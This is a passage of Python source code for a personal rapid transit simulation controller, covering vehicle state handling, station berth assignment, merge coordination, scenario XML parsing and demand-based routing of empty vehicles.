States.EXIT_ADVANCING else: raise Exception("Unexpected case. Vehicle.state is: %s" % vehicle.state) except NoBerthAvailableError: return # Will only make it to this point in the code if the vehicle has been # given a new berth to travel to. vehicle.advance() ### Overriden message handlers ### def on_SIM_GREETING(self, msg, msgID, msg_time): self.sim_end_time = msg.sim_end_time self.log.info("Sim Greeting message received. Sim end at: %f" % msg.sim_end_time) self.manager = Manager(msg.scenario_xml, msg.sim_end_time, self) # TODO: Move this into scenario validation function # If every single berth is full, then a vehicle will not have anywhere # to go if it's kicked out of a station (to make room for incoming vehicles). total_vacancies = sum(station.get_num_storage_vacancies(self.manager.MODEL_NAME) for station in self.manager.stations.itervalues()) total_berths = sum(station.NUM_BERTHS for station in self.manager.stations.itervalues()) total_vehicles = len(self.manager.vehicles) if total_vehicles >= total_berths + total_vacancies: error_msg = api.CtrlScenarioError() error_msg.error_message = \ "Total number of vehicles must be less than the total number of " \ "station berths.\nVehicles: %d\nBerths: %d" % (total_vehicles, total_berths) self.send(api.CTRL_SCENARIO_ERROR, error_msg) self.log.error(error_msg.error_message) # TODO: Move check to scenario validation routine min_split_length = self.LINE_SPEED*self.SWITCH_TIME for s in self.manager.stations.itervalues(): seg_length, seg_path = self.manager.get_path(s.split, s.bypass) if seg_length < min_split_length: error_msg = api.CtrlScenarioError() error_msg.stationID = s.id error_msg.error_message = "The track segment preceeding station %d's offramp switch must be at least LINE_SPEED*SWITCH_TIME = %.1f meters long but it is only %.1f meters long. Segment id: %d" \ % (s.id, min_split_length, seg_length, s.split) self.send(api.CTRL_SCENARIO_ERROR, error_msg) self.log.error(error_msg.error_message) def on_SIM_START(self, msg, msgID, msg_time): """This function is responsible for getting all the vehicles moving at the start of the simulation. It needs to deal with 5 cases: Case 1: Vehicle is on a station's platform and must be given a reservation. Case 2: Vehicle is on a station's OFFRAMP or DECEL segments. Must be given a berth reservation and travel to the platform. Case 3: Vehicle is on a station's ONRAMP or ACCEL segments. Rather than trying to merge a vehicle with mainline traffic when it's starting from halfway down the acceleration ramp, we're just going to take a pass on this case. Not allowed. Case 4: Vehicle is outside of a Merge's zone of control and must be brought up to LINE_SPEED. Case 5: Vehicle is within a Merge's zone of control, and must be brought up to LINE_SPEED and granted a MergeSlot. """ self.log.info("Sim Start message received.") v_list = self.manager.vehicles.values() # Sort based on location, secondarily sorted by position -- both in descending order. v_list.sort(cmp=lambda x,y: cmp(y.ts_id, x.ts_id) if x.ts_id != y.ts_id else cmp(y.pos, x.pos)) merge2vehicles = defaultdict(list) # Make a first pass through the vehicles, setting up the vehicles which # are committed to a particular station. for vehicle in v_list: assert isinstance(vehicle, Vehicle) assert vehicle.state is States.NONE station = self.manager.track2station.get(vehicle.ts_id) if station: assert isinstance(station, Station) # Take advantage of the fact the ts_ids for a station are in # ascending order. Due to the sorting of the vehicles, the # berth reservation ordering will be correct. # Case 1. Vehicle already on a UNLOAD/QUEUE/LOAD platform. if vehicle.ts_id in (station.ts_ids[Station.UNLOAD], station.ts_ids[Station.QUEUE], station.ts_ids[Station.LOAD]): # TODO: Can this be handled by vehicle.enter_station? vehicle.state = States.LOAD_ADVANCING station.request_load_berth(vehicle) berth_dist, berth_path = self.manager.get_path(vehicle.ts_id, vehicle.plat_ts) initial = vehicle.estimate_pose(self.current_time) berth_knot = Knot(berth_dist + vehicle.berth_pos, 0, 0, None) try: spline = vehicle.traj_solver.target_position(initial, berth_knot, max_speed=station.SPEED_LIMIT) vehicle.set_spline(spline) vehicle.set_path(berth_path) except FatalTrajectoryError: # may occur if vehicles cannot reverse and are too closely spaced. msg = api.CtrlScenarioError() msg.vehicleID = vehicle.id msg.stationID = station.id msg.error_message = \ "Vehicle %d initial placement commits it to station %d but it is unable to find an available, reachable berth." \ % (vehicle.id, station.id) self.send(api.CTRL_SCENARIO_ERROR, msg) # Case 2. Approaching station. elif vehicle.ts_id in (station.ts_ids[Station.OFF_RAMP_I], station.ts_ids[Station.OFF_RAMP_II], station.ts_ids[Station.DECEL]): try: vehicle.enter_station(station) except (NoBerthAvailableError, FatalTrajectoryError): msg = api.CtrlScenarioError() msg.vehicleID = vehicle.id msg.stationID = station.id msg.error_message = \ "Vehicle %d initial placement commits it to station %d but it is unable to find an available, reachable berth." \ % (vehicle.id, station.id) self.send(api.CTRL_SCENARIO_ERROR, msg) vehicle.state = States.LOAD_ADVANCING # Case 3. Outbound from a station. elif vehicle.ts_id in (station.ts_ids[Station.ACCEL], station.ts_ids[Station.ON_RAMP_I], station.ts_ids[Station.ON_RAMP_II]): msg = api.CtrlScenarioError() msg.vehicleID = vehicle.id msg.stationID = station.id msg.error_message = \ "Unable to handle a vehicle starting on the " + \ "ACCEL or ONRAMP portions of the station. Please " + \ "relocate vehicle: %s" % str(vehicle) \ % (vehicle.id, station.id) self.send(api.CTRL_SCENARIO_ERROR, msg) else: raise Exception("Unexpected case: vehicle.ts_id: %d" % vehicle.ts_id) else: # Not in a station. vehicle.state = States.RUNNING vehicle.trip = self.manager.deadhead(vehicle) vehicle.set_path(vehicle.trip.path) vehicle.run(speed_limit=self.LINE_SPEED) # Handle all the vehicles that are in a Merge's zone of control # together at a later time. merge = self.manager.track2merge.get(vehicle.ts_id) if merge: # tail must be on inlet ts, not just nose. If just the nose # is on the inlet ts, let the normal code path assign a # merge slot in a few moments. if vehicle.ts_id not in merge.inlets \ or (vehicle.ts_id in merge.inlets and vehicle.pos >= vehicle.length): merge2vehicles[merge].append(vehicle) continue station = self.manager.split2station.get(vehicle.ts_id) if station: # vehicle is on the station's "split" trackseg assert vehicle.ts_id == station.split seg_length, seg_path = self.manager.get_path(vehicle.ts_id, station.ts_ids[Station.OFF_RAMP_I]) notify_pos = seg_length - self.LINE_SPEED*self.SWITCH_TIME if notify_pos > vehicle.pos: notify_msg = api.CtrlSetnotifyVehiclePosition() notify_msg.vID = vehicle.id notify_msg.pos = notify_pos self.send(api.CTRL_SETNOTIFY_VEHICLE_POSITION, notify_msg) else: # notify_pos <= vehicle.pos # Go on to a different station vehicle.trip = self.manager.deadhead(vehicle, exclude=(station, )) # Case 5. Within a Merge's zone of control. for m, v_list in merge2vehicles.items(): # Redefine the function each time, using closures to easily access the # merge's offset values. def sort_by_pos(v1, v2): """Sort by position relative to the merge point, closest first. Decending order, since all positions are negative.""" v1_pos = v1.pos + m.offsets[v1.ts_id] v2_pos = v2.pos + m.offsets[v2.ts_id] return cmp(v2_pos, v1_pos) v_list.sort(cmp=sort_by_pos) for v in v_list: try: # Route the vehicle to a destination that is beyond the # merge point (or in the merge's other zone). # Vehicle may reroute to a closer station in the course of regular operation. zone = 0 if v.ts_id in m.zone_ids[0] else 1 exclude = [s for s in m.stations if s.bypass in m.zone_ids[zone]] v.trip = self.manager.deadhead(v, exclude) v.set_path(v.trip.path) v.do_merge(m, 0.0) except FatalTrajectoryError: # TODO: Write a function dedicated to validating the scenario when it's received. msg = api.CtrlScenarioError() ## msg.mergeID = m.id # TODO: merge ID's are not in the current version. Will be introduced when a dev branch is merged. msg.vehicleID = v.id msg.trackID = v.ts_id msg.error_message = "Vehicle %s on track segment %s is too close to a merge to reach full speed." % \ (v.id, v.ts_id) self.send(api.CTRL_SCENARIO_ERROR, msg) # Trigger a heartberat for each station. for station in self.manager.stations.itervalues(): station.heartbeat() def on_SIM_NOTIFY_TIME(self, msg, msgID, msg_time): ms_msg_time = int(msg.time*1000) # millisec integer for easy comparison vehicles, functions = self.t_reminders[ms_msg_time] for vehicle in vehicles: if vehicle.state is States.LAUNCH_WAITING: blocked_time = self.manager.is_launch_blocked(vehicle.station, vehicle, self.current_time) if not blocked_time: vehicle.state = States.LAUNCHING vehicle.run(speed_limit=self.LINE_SPEED) vehicle._launch_begun = True station = vehicle.station station.release_berth(vehicle) station.launch_wait_times.append( (msg.time, vehicle, False) ) self.log.info("t:%5.3f Launched vehicle %d from station %d.", self.current_time, vehicle.id, station.id) station.heartbeat() else: self.set_v_notification(vehicle, blocked_time) self.log.info("t:%5.3f Delaying launch of vehicle %d from station %d until %.3f (%.3f delay)", self.current_time, vehicle.id, vehicle.station.id, blocked_time, blocked_time-self.current_time) else: warnings.warn("Huh? What was this reminder for again? vehicle %d, state: %s" % (vehicle.id, vehicle.state)) ## raise Exception("Huh? What was this reminder for again? Current State: %s" % vehicle.state) for fnc, args in functions: fnc(*args) del self.t_reminders[ms_msg_time] def on_SIM_RESPONSE_VEHICLE_STATUS(self, msg, msgID, msg_time): vehicle = self.manager.vehicles[msg.v_status.vID] assert isinstance(vehicle, Vehicle) vehicle.update_vehicle(msg.v_status, msg.time) if vehicle.state is States.LAUNCH_WAITING: merge = self.manager.track2merge.get(vehicle.station.bypass) if merge and vehicle.station in merge.stations: vehicle.state = States.LAUNCHING slot, launch_time = merge.create_station_merge_slot_II(vehicle.station, vehicle, self.current_time) vehicle.set_merge_slot(slot) vehicle.set_spline(vehicle.merge_slot.spline.copy()) vehicle._launch_begun = True vehicle.station.launch_wait_times.append ( (launch_time, vehicle, False) ) self.log.info("t:%5.3f Launched vehicle %d from station %d.", self.current_time, vehicle.id, vehicle.station.id) def release_and_heartbeat(): station = vehicle.station station.release_berth(vehicle) station.heartbeat() self.set_fnc_notification(release_and_heartbeat, tuple(), launch_time) else: blocked_time = self.manager.is_launch_blocked(vehicle.station, vehicle, self.current_time) if not blocked_time: vehicle.state = States.LAUNCHING vehicle.send_path() vehicle.run(speed_limit=self.LINE_SPEED) vehicle._launch_begun = True station = vehicle.station station.release_berth(vehicle) station.launch_wait_times.append( (msg.time, vehicle, False) ) self.log.info("t:%5.3f Launched vehicle %d from station %d.", self.current_time, vehicle.id, station.id) station.heartbeat() else: self.set_v_notification(vehicle, blocked_time) self.log.info("t:%5.3f Delaying launch of vehicle %d from station %d until %.3f (%.3f delay)", self.current_time, vehicle.id, vehicle.station.id, blocked_time, blocked_time-self.current_time) ## else: ## warnings.warn("Received vehicle status. Not sure why... vID: %d, v.state: %s" % (vehicle.id, vehicle.state)) def on_SIM_EVENT_PASSENGER_CREATED(self, msg, msgID, msg_time): p_status = msg.p_status pax = Passenger(p_status.pID, p_status.src_stationID, p_status.dest_stationID, p_status.creation_time) station = self.manager.stations[pax.origin_id] station.add_passenger(pax) if len(self.manager.vehicles) == 0 or station.get_demand() >= self.DEMAND_THRESHOLD: self.manager.retrieve_vehicle_from_storage(station, self.manager.MODEL_NAME) station.heartbeat() def on_SIM_COMPLETE_PASSENGERS_DISEMBARK(self, msg, msgID, msg_time): vehicle = self.manager.vehicles[msg.cmd.vID] assert isinstance(vehicle, Vehicle) assert vehicle.state is States.DISEMBARKING self.log.info("t:%5.3f Vehicle %d at station %d, berth %d, plat %d has completed disembark of %s", self.current_time, vehicle.id, vehicle.station.id, vehicle.berth_id, vehicle.platform_id, msg.cmd.passengerIDs) vehicle.state = States.LOAD_WAITING vehicle.trip = None vehicle.station.heartbeat() def on_SIM_COMPLETE_PASSENGERS_EMBARK(self, msg, msgID, msg_time): vehicle = self.manager.vehicles[msg.cmd.vID] assert isinstance(vehicle, Vehicle) assert vehicle.state is States.EMBARKING self.log.info("t:%5.3f Vehicle %d at station %d, berth %d, plat %d has completed embark of %s", self.current_time, vehicle.id, vehicle.station.id, vehicle.berth_id, vehicle.platform_id, msg.cmd.passengerIDs) vehicle.state = States.EXIT_WAITING vehicle.station.heartbeat() def on_SIM_NOTIFY_VEHICLE_ARRIVE(self, msg, msgID, msg_time): vehicle = self.manager.vehicles[msg.v_status.vID] assert isinstance(vehicle, Vehicle) vehicle.update_vehicle(msg.v_status, msg.time) # TODO: Try to move the decision process closer to the switch to improve efficiency. # Vehicle needs to make choice to enter station or bypass. # Note: Some track networks will have one station's ON_RAMP_II lead straight into # another station's "split" track seg, thus LAUNCHING is a viable state. station = self.manager.split2station.get(msg.trackID) if station and vehicle.state in (States.RUNNING, States.LAUNCHING): seg_length, seg_path = self.manager.get_path(msg.trackID, station.ts_ids[Station.OFF_RAMP_I]) notify_pos = seg_length - self.LINE_SPEED*self.SWITCH_TIME assert notify_pos >= 0 notify_msg = api.CtrlSetnotifyVehiclePosition() notify_msg.vID = vehicle.id notify_msg.pos = notify_pos self.send(api.CTRL_SETNOTIFY_VEHICLE_POSITION, notify_msg) def on_SIM_NOTIFY_VEHICLE_POSITION(self, msg, msgID, msg_time): vehicle = self.manager.vehicles[msg.v_status.vID] assert isinstance(vehicle, Vehicle) vehicle.update_vehicle(msg.v_status, msg.time) # Note: Some track networks will have one station's ON_RAMP_II lead straight into # another station's "split" track seg, thus LAUNCHING is a viable state if # the segment is very short and the switch time is very small. assert vehicle.state in (States.RUNNING, States.LAUNCHING) station = self.manager.split2station.get(vehicle.ts_id) # Vehicle needs to make choice to enter station or bypass. if not vehicle.pax: # Refresh the destination station, since demand for empties has # likely changed while travelling. This presents the possiblity # that empties will get caught in a game of 'keep away', where # their destination station keeps changing and they spend a lot # of time chasing new destinations rather than accomplishing # useful work. This shouldn't be much of a problem so long as # vehicles strongly favor nearby stations, which they currently do. # # TODO: This refreshes the empty's destination whenever it passes by a # station. The preferred approach would be to refresh whenever it # comes to a switch of any sort. That is, refresh whenever the vehicle # has the opportunity to act on the information. vehicle.trip = self.manager.deadhead(vehicle) vehicle.set_path(vehicle.trip.path) if vehicle.trip.dest_station is station: try: vehicle.enter_station(station) # If vehicle successfully gained entry to the station, update state. if vehicle.pax: vehicle.state = States.UNLOAD_ADVANCING else: vehicle.state = States.LOAD_ADVANCING except (NoBerthAvailableError, FatalTrajectoryError): if vehicle.station: vehicle.station.release_berth(vehicle) old_dest = vehicle.trip.dest_station if vehicle.pax: # Has passengers. Loop around to this station again vehicle.trip = self.manager.wave_off(vehicle) vehicle.set_path(vehicle.trip.path) vehicle.num_wave_offs += 1 self.log.info("%5.3f Vehicle %d waved off from dest_station %d because NoBerthAvailable. Going to station %d instead.", self.current_time, vehicle.id, old_dest.id, vehicle.trip.dest_station.id) else: # Empty vehicle, may go to any station vehicle.trip = self.manager.deadhead(vehicle, exclude=(old_dest,)) vehicle.set_path(vehicle.trip.path) self.log.info("%5.3f Empty vehicle %d bypassing dest_station %d due to lack of available berth. Going to station %d instead.", self.current_time, vehicle.id, old_dest.id, vehicle.trip.dest_station.id) def on_SIM_NOTIFY_VEHICLE_EXIT(self, msg, msgID, msg_time): vehicle = self.manager.vehicles[msg.v_status.vID] assert isinstance(vehicle, Vehicle) vehicle.update_vehicle(msg.v_status, msg.time) if vehicle.state is States.LAUNCHING: station = self.manager.track2station.get(msg.trackID) # Just joined the main line, entirely exiting the station zone if msg.trackID == station.ts_ids[Station.ON_RAMP_II]: vehicle.state = States.RUNNING # Check if just entered a merge's zone of control. if vehicle.state is States.RUNNING: # may have been LAUNCHING at beginning of function # TODO: Rethink whether I should have dictionaries containing both # merges and switches. obj = self.manager.outlets.get(msg.v_status.tail_locID) # Vehicle just left a merge's zone of control if obj and isinstance(obj, Merge): while True: merge_slot = obj.reservations.pop(0) if not merge_slot.relinquished: assert vehicle.merge_slot is merge_slot break vehicle.set_merge_slot(None) obj = self.manager.inlets.get(msg.v_status.tail_locID) # Vehicle just entered a merge's zone of control if obj and isinstance(obj, Merge): vehicle.do_merge(obj, self.current_time) def on_SIM_NOTIFY_VEHICLE_STOPPED(self, msg, msgID, msg_time): vehicle = self.manager.vehicles[msg.v_status.vID] assert isinstance(vehicle, Vehicle) vehicle.update_vehicle(msg.v_status, msg.time) if vehicle.state in (States.UNLOAD_ADVANCING, States.LOAD_ADVANCING, States.EXIT_ADVANCING): # Check that I'm stopped and where I expect to be assert abs(vehicle.vel) < TrajectorySolver.v_threshold, str(vehicle) assert abs(vehicle.accel) < TrajectorySolver.a_threshold, str(vehicle) assert vehicle.ts_id == vehicle.plat_ts, str(vehicle) assert abs(vehicle.berth_pos - vehicle.pos) < 0.1, (str(vehicle), vehicle.berth_pos) if vehicle.state is States.UNLOAD_ADVANCING: vehicle.state = States.UNLOAD_WAITING elif vehicle.state is States.LOAD_ADVANCING: vehicle.state = States.LOAD_WAITING elif vehicle.state is States.EXIT_ADVANCING: vehicle.state = States.EXIT_WAITING else: raise Exception("Unexpected state: %s" % vehicle.state) else: self.log.warn("Vehicle %s stopped for unknown reason.", str(vehicle)) if vehicle.station: vehicle.station.heartbeat() def on_SIM_NOTIFY_VEHICLE_SPEEDING(self, msg, msgID, msg_time): self.log.warn("Speed limit violation: %s", str(msg)) def on_SIM_COMPLETE_STORAGE_EXIT(self, msg, msgID, msg_time): station = self.manager.stations[msg.cmd.sID] try: vehicle = self.manager.vehicles[msg.v_status.vID] except KeyError: # Newly created vehicle model = self.manager.models[msg.cmd.model_name] assert isinstance(model, Vehicle) vehicle = Vehicle(msg.v_status.vID, model.model, model.length, model.capacity, api.STORAGE_ID, msg.v_status.nose_pos, msg.v_status.vel, msg.v_status.accel, model.j_max, model.j_min, model.a_max, model.a_min, model.v_max) self.manager.vehicles[vehicle.id] = vehicle vehicle.set_path([msg.v_status.nose_locID], False) vehicle.update_vehicle(msg.v_status, self.current_time) vehicle.station = station vehicle.plat_ts = vehicle.ts_id vehicle.berth_id = msg.cmd.berthID vehicle.platform_id = msg.cmd.platformID vehicle.state = States.LOAD_WAITING storage = station.storage_dict[vehicle.model] assert isinstance(station, Station) assert isinstance(vehicle, Vehicle) assert isinstance(storage, Storage) # TODO: Wrap this in a Station method? station.reservations[msg.cmd.platformID][msg.cmd.berthID] = vehicle storage.end_vehicle_exit() station.heartbeat() def on_SIM_COMPLETE_STORAGE_ENTER(self, msg, msgID, msg_time): station = self.manager.stations[msg.cmd.sID] vehicle = self.manager.vehicles[msg.cmd.vID] storage = station.storage_dict[vehicle.model] station.reservations[vehicle.platform_id][vehicle.berth_id] = None vehicle.set_path([api.STORAGE_ID], False) vehicle.station = None vehicle.plat_ts = None vehicle.berth_id = None vehicle.platform_id = None vehicle.state = States.STORAGE storage.end_vehicle_entry() station.heartbeat() def on_SIM_END(self, msg, msgID, msg_time): super(PrtController, self).on_SIM_END(msg, msgID, msg_time) write_stats_report(self.manager.vehicles, self.manager.stations, options.stats_file) class Manager(object): # Similar to VehicleManager in gtf_conroller class # TODO: Is there any reasonable way to handle multiple vehicle types, without # just hardcoding a behavior to a particular name? MODEL_NAME = None # prt_controller only uses the last model_name that it discovers. """Coordinates vehicles to satisfy passenger demand. Handles vehicle pathing.""" def __init__(self, scenario_xml, sim_end_time, controller): """scenario_xml: the xml scenario file created by TrackBuilder, as a string. The scenario file is expected to have a GoogleTransitFeed section which provides vehicle scheduling and trip data, in addition to the typical TrackSegment, Station, and Vehicle data.""" # Not fond of this sort of style. Fix when I want something simple to work on. Vehicle.manager = self Merge.manager = self self.controller = controller import xml.dom.minidom doc = xml.dom.minidom.parseString(scenario_xml) self.graph = self.build_graph(doc.getElementsByTagName('TrackSegments')[0]) self.stations = self.load_stations(doc.getElementsByTagName('Stations')[0], self.graph) # Mapping from station's trackSegments to a station id. self.track2station = dict((ts, s) for s in self.stations.values() for ts in s.ts_ids) # Mapping from the split ts id to the Station instance self.split2station = dict((s.split, s) for s in self.stations.values()) self.models = self.load_models(doc.getElementsByTagName('VehicleModels')[0]) self.vehicles = self.load_vehicles(doc.getElementsByTagName('Vehicles')[0], self.models) try: # Need to choose a model name for when I request a vehicle from storage. # Eventually this controller may handle multiple vehicle models in a # reasonable way, but for now just choose a vehicle model arbitrarily. Manager.MODEL_NAME = self.models.keys()[0] except IndexError: warnings.warn("No VehicleModels found.") # Create the Merges & Switches self.merges = [] self.switches = [] self.outlets = {} self.inlets = {} for node in self.graph.nodes_iter(): predecessors = self.graph.predecessors(node) if len(predecessors) > 1: # don't include station merges is_station = False for p_node in predecessors: if p_node in self.track2station: is_station = True break if not is_station: merge = Merge(node, self.graph, self.vehicles, self.track2station) self.merges.append(merge) self.outlets[merge.outlet] = merge for inlet in merge.inlets: self.inlets[inlet] = merge successors = self.graph.successors(node) if len(successors) > 1: # don't include station switches is_station = False for s_node in successors: if s_node in self.track2station: is_station = True break if not is_station: switch = Switch(node, self.graph, self.vehicles, self.track2station) self.switches.append(switch) for outlet in switch.outlets: self.outlets[outlet] = switch self.inlets[switch.inlet] = switch self.track2merge = dict((ts, m) for m in self.merges for ts in m.zone_ids[0] + m.zone_ids[1]) doc.unlink() # facilitates garbage collection # Check that the merge zones are large enough to accomodate a vehicle stopping and starting maneuver_dist = -1 for v in self.vehicles.itervalues(): maneuver_dist = max(maneuver_dist, v.get_dist_to_stop() + v.get_dist_to_line_speed()) for m in self.merges: if maneuver_dist < m.zone_lengths[0]: raise Exception("Insufficient track distance from ts %d to ts %d for pre-merge manuevering." % (m.inlets[0], m.outlet)) elif maneuver_dist < m.zone_lengths[1]: raise Exception("Insufficient track distance from ts %d to ts %d for pre-merge manuevering." % (m.inlets[1], m.outlet)) else: pass # Precalculate common trips. self._dist_path_dict = self._build_station_tables() def build_graph(self, track_segments_xml): """Returns a networkx.DiGraph suitable for routing vehicles over.""" graph = networkx.DiGraph() for track_segment_xml in track_segments_xml.getElementsByTagName('TrackSegment'): trackID = track_segment_xml.getAttribute('id') intId = int(trackID.split("_")[0]) # get a unique, integer ID length = float(track_segment_xml.getAttribute('length')) graph.add_node(intId) connect_to_xml = track_segment_xml.getElementsByTagName('ConnectsTo')[0] for id_xml in connect_to_xml.getElementsByTagName('ID'): connect_id = self._to_numeric_id(id_xml) graph.add_edge(intId, connect_id, weight=length) return graph def load_stations(self, stations_xml, graph): """Returns a dict of stations, keyed by the integer id.""" BERTH_GAP = 0.1 # Distance from the front of the vehicle to the end of the berth stations = dict() for station_xml in stations_xml.getElementsByTagName('Station'): station_str_id = station_xml.getAttribute('id') station_int_id = int(station_str_id.split('_')[0]) ts_ids_xml = station_xml.getElementsByTagName('TrackSegmentID')[:9] # fragile assumption :( ts_ids = [self._to_numeric_id(id_xml) for id_xml in ts_ids_xml] # Get berth position data for the three platforms: Unload, Queue, Load platforms_xml = station_xml.getElementsByTagName('Platform') # Contains (platform_id, berth_id) pairs. storage_entrances = [] storage_exits = [] unload_xml = platforms_xml[0] platform_ts_id = self._to_numeric_id(unload_xml.getElementsByTagName('TrackSegmentID')[0]) assert platform_ts_id == ts_ids[Station.UNLOAD] unload_positions = [] for berth_id, berth_xml in enumerate(unload_xml.getElementsByTagName('Berth')): end_pos = float(berth_xml.getElementsByTagName('EndPosition')[0].firstChild.data) unload_positions.append(end_pos - BERTH_GAP) if is_string_true(berth_xml.getAttribute('storage_entrance')): storage_entrances.append( (0, berth_id) ) if is_string_true(berth_xml.getAttribute('storage_exit')): storage_exits.append( (0, berth_id) ) queue_xml = platforms_xml[1] platform_ts_id = self._to_numeric_id(queue_xml.getElementsByTagName('TrackSegmentID')[0]) assert platform_ts_id == ts_ids[Station.QUEUE] queue_positions = [] for berth_id, berth_xml in enumerate(queue_xml.getElementsByTagName('Berth')): end_pos = float(berth_xml.getElementsByTagName('EndPosition')[0].firstChild.data) queue_positions.append(end_pos - BERTH_GAP) if is_string_true(berth_xml.getAttribute('storage_entrance')): storage_entrances.append( (1, berth_id) ) if is_string_true(berth_xml.getAttribute('storage_exit')): storage_exits.append( (1, berth_id) ) load_xml = platforms_xml[2] platform_ts_id = self._to_numeric_id(load_xml.getElementsByTagName('TrackSegmentID')[0]) assert platform_ts_id == ts_ids[Station.LOAD] load_positions = [] for berth_id, berth_xml in enumerate(load_xml.getElementsByTagName('Berth')): end_pos = float(berth_xml.getElementsByTagName('EndPosition')[0].firstChild.data) load_positions.append(end_pos - BERTH_GAP) if is_string_true(berth_xml.getAttribute('storage_entrance')): storage_entrances.append( (2, berth_id) ) if is_string_true(berth_xml.getAttribute('storage_exit')): storage_exits.append( (2, berth_id) ) # Discover the split, bypass, and merge TrackSegment ids from the graph assert len(graph.successors(ts_ids[Station.ON_RAMP_II])) == 1 assert len(graph.predecessors(ts_ids[Station.OFF_RAMP_I])) == 1 merge = graph.successors(ts_ids[Station.ON_RAMP_II])[0] split = graph.predecessors(ts_ids[Station.OFF_RAMP_I])[0] # find the ts that's downstream from the offramp switch, and also upstream from the onramp merge. downstream = graph.successors(split) upstream = graph.predecessors(merge) for ts in downstream: if ts in upstream: bypass = ts break onramp_length = networkx.dijkstra_path_length(self.graph, ts_ids[Station.ACCEL], merge) storage_dict = {} for storage_xml in station_xml.getElementsByTagName('Storage'): v_model_name = storage_xml.getAttribute('model_name') initial_supply_str = storage_xml.getAttribute('initial_supply').lower() if initial_supply_str == 'inf': initial_supply = float('inf') else: initial_supply = int(storage_xml.getAttribute('initial_supply')) max_capacity_str = storage_xml.getAttribute('max_capacity').lower() if max_capacity_str == 'inf': max_capacity = float('inf') else: max_capacity = int(storage_xml.getAttribute('max_capacity')) storage = Storage(v_model_name, initial_supply, max_capacity) storage_dict[v_model_name] = storage self.MODEL_NAME = v_model_name stations[station_int_id] = Station(station_int_id, ts_ids, split, bypass, merge, onramp_length, unload_positions, queue_positions, load_positions, storage_entrances, storage_exits, storage_dict) return stations def load_models(self, models_xml): """Returns a dict of vehicle models, keyed by model name. Each vehicle model is just a regular Vehicle object, with no location set. The models are to be used as a prototype for other vehicles. """ models = dict() for model_xml in models_xml.getElementsByTagName('VehicleModel'): model_name = model_xml.getAttribute('model_name') length = float(model_xml.getAttribute('length')) capacity = int(model_xml.getAttribute('passenger_capacity')) jerk_xml = model_xml.getElementsByTagName('Jerk')[0] accel_xml = model_xml.getElementsByTagName('Acceleration')[0] vel_xml = model_xml.getElementsByTagName('Velocity')[0] model_vehicle = Vehicle(api.NONE_ID, model_name, length, capacity, api.NONE_ID, 0, # pos 0, # vel 0, # accel float(jerk_xml.getAttribute('normal_max')), float(jerk_xml.getAttribute('normal_min')), float(accel_xml.getAttribute('normal_max')), float(accel_xml.getAttribute('normal_min')), float(vel_xml.getAttribute('normal_max'))) models[model_name] = model_vehicle return models def load_vehicles(self, vehicles_xml, models): """Returns a dict of vehicles, keyed by the integer id.""" vehicles = dict() for vehicle_xml in vehicles_xml.getElementsByTagName('Vehicle'): vehicle_str_id = vehicle_xml.getAttribute('id') vehicle_int_id = int(vehicle_str_id.split('_')[0]) ts_str_id = vehicle_xml.getAttribute('location') ts_int_id = int(ts_str_id.split('_')[0]) model_name = vehicle_xml.getAttribute('model_name') model = models[model_name] v = Vehicle(vehicle_int_id, model_name, model.length, model.capacity, ts_int_id, float(vehicle_xml.getAttribute('position')), float(vehicle_xml.getAttribute('velocity')), float(vehicle_xml.getAttribute('acceleration')), model.j_max, model.j_min, model.a_max, model.a_min, model.v_max) vehicles[vehicle_int_id] = v return vehicles def retrieve_vehicle_from_storage(self, station, model_name): """Gets a vehicle from storage as close as possible to station.""" # OPTIMIZATION: # Right now, this function is doing a lot of redundant work. Could cache: # - The distances between stations. # - Which stations are capable of bringing vehicles out of storage assert isinstance(station, Station) dists, paths = networkx.single_source_dijkstra(self.graph, station.merge) dists_stations = [] for s in self.stations.itervalues(): try: dist = dists[s.merge] dists_stations.append( (dist, s) ) except KeyError: # Not all stations must be reachable pass dists_stations.sort() # sort by distances, ascending for dist, station in dists_stations: try: station.call_from_storage(model_name) break except NoVehicleAvailableError: pass def request_trip(self, vehicle): """The vehicle must be currently in a station. For best efficiency, delay calling this function until the vehicle is ready to load passengers. Returns a Trip instance. Propagates a NoPaxAvailableError if no passengers are available at vehicle's current station. """ assert isinstance(vehicle, Vehicle) orig_station = vehicle.station pax = orig_station.pop_passenger() dest_station = self.stations[pax.dest_id] path_length, path = self.get_path(vehicle.ts_id, dest_station.ts_ids[Station.UNLOAD]) return Trip(dest_station, path, (pax.id,) ) # just one pax for now def deadhead(self, vehicle, exclude=tuple()): """Request a trip for an empty vehicle. Go to a station that has waiting passengers and needs more vehicles. If no stations have positive demand then it sends the vehicle to the nearest station with capacity to store this vehicle's model, if there are any such stations available. Parameters: vehicle -- The empty vehicle requesting a trip. exclued -- A tuple of Station instances that the vehicle should not pick as a destination. Side Effects: None Returns: A Trip instance. """ assert isinstance(vehicle, Vehicle) dists, paths = networkx.single_source_dijkstra(self.graph, vehicle.ts_id) max_dist = max(dists.itervalues()) best_station = None best_station_dist = -inf best_value = -inf closest_station = None closest_dist = inf for station in self.stations.itervalues(): if station in exclude: continue station_ts = station.ts_ids[Station.LOAD] try: dist = dists[station_ts] except KeyError: # Not all stations must be reachable continue demand = station.get_demand() # If the vehicle is currently in the station, give it a little inertia # to overcome before moving on to another station. Otherwise a vehicle # will leave a station as soon as demand drops to 0, resulting in # the station increasing it's demand again. if vehicle.station is station: demand += 0.09 # Note that one passenger at the furthest station gives a demand of 0.1 # The distance weight is 1 when dist is 0, and decays down to 1/10 # as the distance increases to max_dist. value = max_dist/(9*dist+max_dist) * demand if value > best_value: best_station = station best_station_dist = dist best_value = value if dist < closest_dist and value >= 0: # closest station that isn't rejecting vehicles closest_station = station closest_dist = dist if best_value > 0: return Trip(best_station, paths[best_station.ts_ids[Station.LOAD]], tuple()) else: # Consider sending the vehicle to a station where it can be put into storage. vehicle_model = vehicle.model closest_storage_station = None closest_storage_dist = inf for station in self.stations.itervalues(): if station in exclude: continue if station.get_num_storage_vacancies(vehicle_model) > 0: try: dist = dists[station.ts_ids[Station.LOAD]] if dist < closest_storage_dist: closest_storage_dist = dist closest_storage_station = station except KeyError: # Not all stations must be reachable continue if closest_storage_station is not None: # Found a station that can store the vehicle return Trip(closest_storage_station, paths[closest_storage_station.ts_ids[Station.LOAD]], tuple()) else: # No storage available anywhere, send it to the closest station return Trip(closest_station, paths[closest_station.ts_ids[Station.LOAD]], tuple()) def wave_off(self, vehicle): """Sends a vehicle around in a loop so as to come back and try entering the station later, or sends it to a different station if empty.""" # vehicle has passengers, so must go to this particular station if vehicle.trip.passengers: prev_tses = self.graph.predecessors(vehicle.ts_id) # there may be a merge just upstream of station 